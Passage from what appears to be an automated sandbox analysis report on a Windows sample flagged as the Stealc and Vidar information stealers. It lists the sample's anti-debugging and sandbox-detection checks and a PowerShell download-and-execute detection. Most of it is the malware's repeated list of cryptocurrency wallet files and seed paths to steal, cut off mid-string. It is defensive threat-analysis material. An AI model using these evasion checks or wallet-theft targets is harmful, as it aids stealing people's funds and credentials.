Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: msedge.exe, 00000007.00000003.2466803313.000005C00019C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 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
Source: Web Data.9.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: chrome.exe, 00000004.00000002.2430905953.000001BF6C56E000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2507449552.000001DB51A45000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Web Data.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: chrome.exe, 00000004.00000002.2442638159.000066C400BE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=d43ff1b1-4008-4001-b051-084f0cfbb0c3
Source: chrome.exe, 00000004.00000002.2442638159.000066C400BE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ce added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=d43ff1b1-4008-4001-b051-084f0cfbb0c3
Source: Web Data.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: chrome.exe, 00000004.00000002.2442638159.000066C400BE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 5ce added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=d43ff1b1-4008-4001-b051-084f0cfbb0c3f
Source: Web Data.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Web Data.9.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2731453569.000000000079E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Web Data.9.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Web Data.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2732880203.00000000013E0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA45FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CA45FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C9E3480

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CA1B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CA1B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5924, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2732880203.00000000013E0000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: 7[CProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA1B341 cpuid

0_2_6CA1B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9E35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9E35A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.f70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2732215385.0000000000F71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2222130039.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2731453569.000000000079E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5924, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5924, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session 